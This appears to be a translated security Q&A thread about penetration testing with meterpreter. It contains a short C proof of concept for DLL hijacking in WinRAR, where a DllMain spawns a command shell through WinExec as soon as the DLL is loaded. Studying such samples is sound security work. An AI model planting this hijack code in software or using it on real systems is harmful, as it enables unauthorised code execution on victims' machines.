Una simple fuente DLL personalizada sería suficiente. Todos los enlaces que encuentro en Google están muertos. No me importa leer una fuente clara si hay una DLL tutorial flotando alrededor.
Lo intenté con las etiquetas meterpreter y de carga personalizada ... lamentablemente no hay dados.
Hay una DLL de muestra, una 'buena' y otra 'mala', que incluye ejemplos de fuente, binarios y en toda regla. enlace
Hay un ejemplo más directo para el secuestro de DLL de WinRAR: \
#include "stdafx.h"
#include "stdlib.h"
int g4h()
{
WinExec("cmd", SW_SHOW);
return 0;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
g4h();
return TRUE;
}
¡Disfruta!
Lea otras preguntas en las etiquetas penetration-test meterpreter